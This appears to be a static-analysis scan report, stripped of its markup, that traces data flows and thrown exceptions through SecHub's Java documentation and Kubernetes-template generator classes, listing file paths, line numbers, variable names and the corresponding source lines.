java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 95 + 20 + 17 + springScheduled + + 15 + + + 95 + appendFixedDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 110 + 42 + 18 + springScheduled + + 15 + + + 110 + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 29 + 19 + springScheduled + + 15 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 61 + 20 + fixedDelayString + + 1 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 10 + 21 + fixedDelayString + + 16 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 118 + 28 + 22 + fixedDelayString + + 16 + + + 118 + if (!StringUtils.isEmpty(fixedDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 118 + 27 + 23 + isEmpty + + 1 + + + 118 + if (!StringUtils.isEmpty(fixedDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 95 + 20 + 17 + springScheduled + + 15 + + + 95 + appendFixedDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 110 + 42 + 18 + springScheduled + + 15 + + + 110 + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 29 + 19 + springScheduled + + 15 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 61 + 20 + fixedDelayString + + 1 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 10 + 21 + fixedDelayString + + 16 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 112 + 27 + 22 + fixedDelayString + + 16 + + + 112 + if (StringUtils.isEmpty(fixedDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 112 + 26 + 23 + isEmpty + + 1 + + + 112 + if (StringUtils.isEmpty(fixedDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 94 + 22 + 17 + springScheduled + + 15 + + + 94 + appendInitialDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 134 + 44 + 18 + springScheduled + + 15 + + + 134 + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 31 + 19 + springScheduled + + 15 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 65 + 20 + initialDelayString + + 1 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 10 + 21 + initialDelayString + + 18 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 142 + 28 + 22 + initialDelayString + + 18 + + + 142 + if (!StringUtils.isEmpty(initialDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 142 + 27 + 23 + isEmpty + + 1 + + + 142 + if (!StringUtils.isEmpty(initialDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 94 + 22 + 17 + springScheduled + + 15 + + + 94 + appendInitialDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 134 + 44 + 18 + springScheduled + + 15 + + + 134 + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 31 + 19 + springScheduled + + 15 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 65 + 20 + initialDelayString + + 1 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 10 + 21 + initialDelayString + + 18 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 136 + 27 + 22 + initialDelayString + + 18 + + + 136 + if (StringUtils.isEmpty(initialDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 136 + 26 + 23 + isEmpty + + 1 + + + 136 + if (StringUtils.isEmpty(initialDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 35 + 32 + 12 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 35 + 27 + 13 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 40 + 103 + 9 + fetchMustBeDocumentParts + + 1 + + + 40 + new KubernetesTemplateFilesGenerator().generate(files, new ClasspathDataCollector().fetchMustBeDocumentParts()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 43 + 71 + 10 + list + + 4 + + + 43 + public void generate(KubernetesFiles result, List<DocAnnotationData> list) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 44 + 23 + 11 + list + + 4 + + + 44 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 48 + 3 + 12 + list + + 4 + + + 48 + list.add(newSecret("spring.datasource.username", "database", "Define username for database access")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 49 + 3 + 13 + list + + 4 + + + 49 + list.add(newSecret("spring.datasource.password", "database", "The password for database access")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 52 + 38 + 14 + list + + 4 + + + 52 + generateDeploymentFilePart(result, list); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 86 + 90 + 15 + list + + 4 + + + 86 + private void generateDeploymentFilePart(KubernetesFiles result, List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 88 + 35 + 16 + data + + 4 + + + 88 + generateDeploymentCode(result, data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 111 + 80 + 17 + data + + 4 + + + 111 + private void generateDeploymentCode(KubernetesFiles result, DocAnnotationData data) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 28 + 18 + data + + 4 + + + 114 + String inspect = findKey(data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 231 + 43 + 19 + data + + 4 + + + 231 + private String findKey(DocAnnotationData data) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 61 + 20 + springValue + + 1 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 21 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 22 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 63 + 14 + 23 + string + + 6 + + + 63 + value.key=string; + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 63 + 9 + 24 + key + + 1 + + + 63 + value.key=string; + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 64 + 11 + 25 + value + + 5 + + + 64 + return value; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 56 + 26 + extract + + 1 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 16 + 27 + extracted + + 9 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 235 + 12 + 28 + extracted + + 9 + + + 235 + return extracted.getKey(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 12 + 11 + 29 + key + + 3 + + + 12 + return key; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 235 + 28 + 30 + getKey + + 1 + + + 235 + return extracted.getKey(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 27 + 31 + findKey + + 1 + + + 114 + String inspect = findKey(data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 10 + 32 + inspect + + 7 + + + 114 + String inspect = findKey(data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 115 + 26 + 33 + inspect + + 7 + + + 115 + if (inspect == null || inspect.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 118 + 22 + 34 + inspect + + 7 + + + 118 + String springENV = inspect.replace('.', '_').toUpperCase(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 118 + 37 + 35 + replace + + 1 + + + 118 + String springENV = inspect.replace('.', '_').toUpperCase(); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 66 + 45 + 1 + toLowerCase + + 1 + + + 66 + return useCase.getSimpleName().toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 29 + 2 + createIdentifier + + 1 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 12 + 3 + append + + 1 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 3 + 4 + sb + + 2 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 5 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 6 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 7 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 8 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 57 + 37 + 9 + path + + 4 + + + 57 + if (alreadyCreatedPathes.contains(path)) { + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 57 + 36 + 10 + contains + + 1 + + + 57 + if (alreadyCreatedPathes.contains(path)) { + + + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 30 + 4 + 1 + ThrowStmt + + 5 + + + 30 + throw new IllegalArgumentException("call with target gen folder as first parameter only!"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 159 + 4 + 1 + ThrowStmt + + 5 + + + 159 + throw new IllegalStateException(e + " folder not found :" + envFolder.getAbsolutePath()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 253 + 5 + 1 + ThrowStmt + + 5 + + + 253 + throw new IOException("Was not able to create secret file:" + secretFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 285 + 4 + 1 + ThrowStmt + + 5 + + + 285 + throw new IllegalStateException("folder does not exist:" + folder.getAbsolutePath()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 28 + 4 + 1 + ThrowStmt + + 5 + + + 28 + throw new IllegalArgumentException(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 100 + 5 + 1 + ThrowStmt + + 5 + + + 100 + throw new IllegalStateException("UseCaseRestDoc annotation may only added one time to test method!"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 152 + 3 + 1 + ThrowStmt + + 5 + + + 152 + throw new IllegalStateException("No restdoc found for Usecase:"+entry.usecaseEntry.getAnnotationName()+"\nIt is annotated as @UseCaseRestDoc, but no restdoc files generated!\n" + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 58 + 4 + 1 + ThrowStmt + + 5 + + + 58 + throw new IllegalStateException("The path: " + path + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 20 + 4 + 1 + ThrowStmt + + 5 + + + 20 + throw new IllegalArgumentException("null not allowed as file!"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 20 + 4 + 1 + ThrowStmt + + 5 + + + 20 + throw new IllegalArgumentException("null not allowed as file!"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 25 + 5 + 1 + ThrowStmt + + 5 + + + 25 + throw new IOException("was not able to delete existing file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 25 + 5 + 1 + ThrowStmt + + 5 + + + 25 + throw new IOException("was not able to delete existing file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 32 + 5 + 1 + ThrowStmt + + 5 + + + 32 + throw new IllegalStateException("Not able to create folder structure for:"+targetFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 32 + 5 + 1 + ThrowStmt + + 